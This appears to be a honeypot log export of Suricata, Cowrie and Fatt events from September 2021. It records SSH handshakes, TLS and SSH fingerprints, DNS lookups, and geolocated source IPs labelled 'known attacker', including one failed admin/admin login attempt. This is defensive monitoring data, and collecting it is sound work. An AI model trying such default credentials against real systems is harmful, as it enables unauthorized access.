34863	221.181.185.135	109.199.241.180	Suricata	2021-09-20 15:04:29.584352+03	2021-09-20 15:15:02.471689+03	{"_id": "iQYXA3wBvYTbRNuE41jz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:04:28.956481+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "221.181.185.135", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "221.181.185.135", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1338674613360705, "payload": "AAADVAUUX0S69zw7V5Fr5MEE0ZM43QAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAACS44VQhQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63151, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:04:29.584352Z", "@timestamp": "2021-09-20T12:04:29.584Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T.._D..<;W.k.....8.....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none................P."}}	1	\N	\N	alert	known attacker	CN
34864	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:29.274598+03	2021-09-20 15:15:02.47369+03	{"_id": "iwYXA3wBvYTbRNuE5Fj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "221.181.185.135", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 63151, "timestamp": "2021-09-20T12:04:29.274598", "@timestamp": "2021-09-20T12:04:29.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34865	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:24.826254+03	2021-09-20 15:15:02.474689+03	{"_id": "dAYXA3wBvYTbRNuE0VjK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36030, "dest_port": 443, "timestamp": "2021-09-20T12:04:24.826254", "@timestamp": "2021-09-20T12:04:24.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34866	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:04:24.777534+03	2021-09-20 15:15:02.475691+03	{"_id": "dgYXA3wBvYTbRNuE1FhR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33957, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2410, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 481001856358611, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45523, "timestamp": "2021-09-20T12:04:24.777534Z", "@timestamp": "2021-09-20T12:04:24.777Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34867	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 15:04:19.313089+03	2021-09-20 15:15:02.47769+03	{"_id": "XwYXA3wBvYTbRNuEu1i-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 13.75.108.119:56970 (192.168.176.2:22) [session: 09cee58c9772]", "session": "09cee58c9772", "@version": "1", "protocol": "ssh", "src_port": 56970, "dest_port": 22, "timestamp": "2021-09-20T12:04:19.313089Z", "@timestamp": "2021-09-20T12:04:19.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	HK
34868	13.75.108.119	109.199.241.180	Suricata	2021-09-20 15:04:19.536082+03	2021-09-20 15:15:02.47869+03	{"_id": "YAYXA3wBvYTbRNuEvFje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.71.28.3744222109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "src_ip": "13.75.108.119", "dest_ip": "192.168.20.116", "flow_id": 2209485674480063, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56970, "dest_port": 22, "timestamp": "2021-09-20T12:04:19.536082Z", "@timestamp": "2021-09-20T12:04:19.536Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	HK
34869	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 15:04:19.536937+03	2021-09-20 15:15:02.47969+03	{"_id": "aQYXA3wBvYTbRNuEv1in", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "09cee58c9772", "@version": "1", "timestamp": "2021-09-20T12:04:19.536937Z", "@timestamp": "2021-09-20T12:04:19.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	HK
34870	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 15:04:21.438209+03	2021-09-20 15:15:02.481689+03	{"_id": "awYXA3wBvYTbRNuEx1h4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "09cee58c9772", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T12:04:21.438209Z", "@timestamp": "2021-09-20T12:04:21.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	HK
34871	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 15:04:22.655224+03	2021-09-20 15:15:02.48269+03	{"_id": "bAYXA3wBvYTbRNuEy1hf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "09cee58c9772", "@version": "1", "duration": 3.3396859169006348, "timestamp": "2021-09-20T12:04:22.655224Z", "@timestamp": "2021-09-20T12:04:22.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	HK
34872	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:04:24.865742+03	2021-09-20 15:15:02.483689+03	{"_id": "cAYXA3wBvYTbRNuE0VjJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36030, "timestamp": "2021-09-20T12:04:24.865742", "@timestamp": "2021-09-20T12:04:24.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34873	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:04:24.776403+03	2021-09-20 15:15:02.48569+03	{"_id": "dQYXA3wBvYTbRNuE1FhQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33957, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 481001856358611, "@version": "1", "in_iface": "enp5s0", "src_port": 45523, "dest_port": 53, "timestamp": "2021-09-20T12:04:24.776403Z", "@timestamp": "2021-09-20T12:04:24.776Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34874	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:04:40.811741+03	2021-09-20 15:15:02.48669+03	{"_id": "rQYYA3wBvYTbRNuEEVi5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 43.240.6.90:49690 (192.168.176.2:22) [session: ec181571361d]", "session": "ec181571361d", "@version": "1", "protocol": "ssh", "src_port": 49690, "dest_port": 22, "timestamp": "2021-09-20T12:04:40.811741Z", "@timestamp": "2021-09-20T12:04:40.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	IN
34875	43.240.6.90	109.199.241.180	Suricata	2021-09-20 15:04:41.121938+03	2021-09-20 15:15:02.488691+03	{"_id": "rwYYA3wBvYTbRNuEEljZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:04:40.502874+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1352081354566746, "payload": "AAADzAYU3eKdvEn5r4/kUE0lg0t23wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49690, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:04:41.121938Z", "@timestamp": "2021-09-20T12:04:41.121Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........I....PM%.Kv....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	IN
34876	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:40.815934+03	2021-09-20 15:15:02.49069+03	{"_id": "sQYYA3wBvYTbRNuEE1jf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "43.240.6.90", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49690, "timestamp": "2021-09-20T12:04:40.815934", "@timestamp": "2021-09-20T12:04:40.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
